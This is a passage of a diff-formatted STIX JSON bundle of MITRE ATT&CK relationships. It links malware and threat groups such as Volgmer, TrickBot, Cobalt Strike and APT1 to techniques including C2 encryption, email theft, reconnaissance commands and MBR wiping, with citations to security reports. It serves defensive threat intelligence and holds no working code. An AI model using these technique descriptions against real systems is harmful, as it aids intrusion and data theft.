"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J.. (2015, July 14). Unit 42 Technical Analysis: Seaduke. Retrieved August 3, 2016.", + "source_name": "Unit 42 SeaDuke 2015", + "url": "http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "Some [Volgmer](https://attack.mitre.org/software/S0180) variants use ports 8080 and 8000 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2902ccff-873a-4ebc-bdf4-caaae629ae9d", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:02.961Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "source_name": "US-CERT Volgmer Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + }, + { + "description": "US-CERT. (2017, November 01). Malware Analysis Report (MAR) - 10135536-D. Retrieved July 16, 2018.", + "source_name": "US-CERT Volgmer 2 Nov 2017", + "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-D_WHITE_S508C.PDF" + }, + { + "description": "Yagi, J. (2014, August 24). Trojan.Volgmer. Retrieved July 16, 2018.", + "source_name": "Symantec Volgmer Aug 2014", + "url": "https://www.symantec.com/security-center/writeup/2014-081811-3237-99?tabid=2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.042Z", + "id": "relationship--d0f797ce-9176-4b74-8d64-fad4e1bdef4f", + "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "modified": "2019-03-22T19:59:27.098Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Carbanak", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[RTM](https://attack.mitre.org/software/S0148) encrypts C2 traffic with a custom RC4 variant.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--87fb2671-e71a-4630-bde2-67e546fdeaa6", + "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Faou, M. and Boutin, J.. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.", + "source_name": "ESET RTM Feb 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) drops files with base64-encoded data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b2c30efb-b4ed-48d7-984e-7e6af4ee15b3", + "source_ref": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "modified": "2019-03-25T12:58:44.229Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", + "description": "[ASPXSpy](https://attack.mitre.org/software/S0073) is a Web shell. The ASPXTool version used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) has been deployed to accessible servers running Internet Information Services (IIS).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--660d09ce-8722-42b3-8503-911dff37bf22", + "source_ref": "malware--56f46b17-8cfa-46c0-b501-dd52fef394e2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "[Remsec](https://attack.mitre.org/software/S0125)'s network loader encrypts C2 traffic with RSA and RC6.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1fe4be95-b162-4fc7-a3c9-4277547ea722", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "source_name": "Symantec Remsec IOCs", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can SSH to a remote service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--66eb9cc1-4eb4-4b84-8140-bd48da33e93d", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.334Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cobalt Strike TTPs Dec 2017", + "description": "Cobalt Strike. (2017, December 8). Tactics, Techniques, and Procedures. Retrieved December 20, 2017.", + "url": "https://www.cobaltstrike.com/downloads/reports/tacticstechniquesandprocedures.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can retrieve OS name/architecture and computer/domain name information from compromised hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4e88ec20-d309-440d-a685-0d2abdc1d7ef", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.015Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can uninstall malware components using a batch script. Additionally, a malicious Word document used for delivery uses VBA macros for execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ccd237b6-c7d6-4941-a1f2-cb563ae90b79", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "source_name": "US-CERT TYPEFRAME June 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Kwampirs](https://attack.mitre.org/software/S0236) collects a list of active and listening connections by using the command netstat -nao as well as a list of available network mappings with net use.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c195f2cb-deff-400e-b89e-8625deaa9817", + "source_ref": "malware--c2417bab-3189-4d4d-9d60-96de2cdaf0ab", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.", + "source_name": "Symantec Orangeworm April 2018", + "url": "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[Hikit](https://attack.mitre.org/software/S0009) performs XOR encryption.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--2c29e6cf-a177-4578-bf1f-fd73ae254edd", + "source_ref": "malware--95047f03-4811-4300-922e-1ba937d53a61", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.", + "source_name": "Novetta-Axiom", + "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) is capable of enumerating and making modifications to an infected system's Registry.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--564de5da-7ecc-45c7-bbd5-619a8f316f70", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d54416bd-0803-41ca-870a-ce1af7c05638", + "description": "[CORALDECK](https://attack.mitre.org/software/S0212) has created password-protected RAR, WinImage, and zip archives to be exfiltrated.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--948d9203-f418-4cf6-9618-e1e89f1ef2bb", + "source_ref": "malware--8ab98e25-1672-4b5f-a2fb-e60f08a5ea9e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[TA459](https://attack.mitre.org/groups/G0062) has attempted to get victims to open malicious Microsoft Word attachment sent via spearphishing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--993e37d1-b81c-47d7-9063-216446271e07", + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "modified": "2019-03-25T17:00:47.385Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "The [Remsec](https://attack.mitre.org/software/S0125) loader implements itself with the name Security Support Provider, a legitimate Windows function. Various [Remsec](https://attack.mitre.org/software/S0125) .exe files mimic legitimate file names used by Microsoft, Symantec, Kaspersky, Hewlett-Packard, and VMWare. [Remsec](https://attack.mitre.org/software/S0125) also disguised malicious modules using similar filenames as custom network encryption software on victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--48b75b8b-5bef-4f99-baa8-5fa978d371d2", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "source_name": "Symantec Remsec IOCs", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Full Report", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842", + "description": "[Downdelph](https://attack.mitre.org/software/S0134) inserts pseudo-random characters between each original character during encoding of C2 network requests, making it difficult to write signatures on them.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0e27ebb3-2d48-48f6-ab99-968c0a992c61", + "source_ref": "malware--08d20cd2-f084-45ee-8558-fa6ef5a18519", + "modified": "2019-10-15T18:00:19.427Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 3", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Misdat](https://attack.mitre.org/software/S0083) is capable of downloading files from the C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ae3be82b-3d54-4be8-939b-e074a2cea170", + "source_ref": "malware--0db09158-6e48-4e7c-8ce7-2b10b9c0c039", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "description": "[RATANKBA](https://attack.mitre.org/software/S0241) runs the net view /domain and net view commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--9dfdcec6-82b7-42a4-902a-3220f4d67bcf", + "source_ref": "malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c", + "modified": "2019-05-03T16:54:33.057Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "RATANKBA", + "description": "Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/ratankba-watering-holes-against-enterprises/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) infected victims using JavaScript code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cd45bd64-3793-49e7-82d0-9cdabf417d61", + "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "modified": "2019-03-25T14:12:13.470Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "C2 traffic for most [Threat Group-3390](https://attack.mitre.org/groups/G0027) tools occurs over Port Numbers 53, 80, and 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.061Z", + "id": "relationship--b1e7f787-2d43-442b-8bd1-4fa064f089b2", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "modified": "2019-07-14T21:15:55.226Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "source_name": "Dell TG-3390", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[GravityRAT](https://attack.mitre.org/software/S0237) collects the victim username along with other account information (account type, description, full name, SID and status).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bfb687f5-0c7d-4ac3-a295-26f1b96dc360", + "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637", + "modified": "2019-04-24T23:21:59.199Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.", + "source_name": "Talos GravityRAT", + "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", + "description": "[APT1](https://attack.mitre.org/groups/G0006) uses two utilities, GETMAIL and MAPIGET, to steal email. GETMAIL extracts emails from archived Outlook .pst files, and MAPIGET steals email still on Exchange servers that has not yet been archived.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.035Z", + "id": "relationship--757bed64-558b-4ea7-84b9-b82d8b23f9b2", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "modified": "2019-08-20T13:08:13.221Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "source_name": "Mandiant APT1", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) collects a list of install programs and services on the system\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d1f44e84-61cb-4a96-add8-d37a38369e43", + "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", + "modified": "2019-06-24T19:15:06.564Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Salinas, M., Holguin, J. (2017, June). Evolution of Trickbot. Retrieved July 31, 2018.", + "source_name": "S2 Grupo TrickBot June 2017", + "url": "https://www.securityartwork.es/wp-content/uploads/2017/07/Trickbot-report-S2-Grupo.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "A variant of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) encrypts some C2 with 3DES and RSA.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--85a92b0f-f8c3-41a9-a1b3-cfbf8b442b39", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) decodes Base64 strings and decrypts strings using a custom XOR algorithm.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--d4240d9a-1499-4863-a654-a52a1dbf48b4", + "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "source_name": "Unit 42 RGDoor Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "description": "[Calisto](https://attack.mitre.org/software/S0274) collects information on bookmarks from Google Chrome.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--0fd71bed-d22f-44f8-aef2-4c5e55aca422", + "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.", + "source_name": "Securelist Calisto July 2018", + "url": "https://securelist.com/calisto-trojan-for-macos/86543/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", + "description": "Some [Volgmer](https://attack.mitre.org/software/S0180) variants use SSL to encrypt C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--a49ed7b1-8160-48ae-a65f-feeb4747c522", + "source_ref": "malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08", + "modified": "2019-10-15T22:51:03.008Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA \u2013 North Korean Trojan: Volgmer. Retrieved December 7, 2017.", + "source_name": "US-CERT Volgmer Nov 2017", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-318B" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--2e114e45-2c50-404c-804a-3af9564d240e", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has access to destructive malware that is capable of overwriting a machine's Master Boot Record (MBR).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--fcb6fc55-8fa6-4ec7-a5a3-51de7dd90c1d", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.757Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[ROKRAT](https://attack.mitre.org/software/S0240) sends collected files back over same C2 channel.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7ccf3e90-8099-4445-b39f-956d2807189b", + "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", + "modified": "2019-07-26T22:56:58.355Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Talos ROKRAT", + "description": "Mercer, W., Rascagneres, P. (2017, April 03). Introducing ROKRAT. Retrieved May 21, 2018.", + "url": "https://blog.talosintelligence.com/2017/04/introducing-rokrat.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[SHUTTERSPEED](https://attack.mitre.org/software/S0217) can capture screenshots.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": 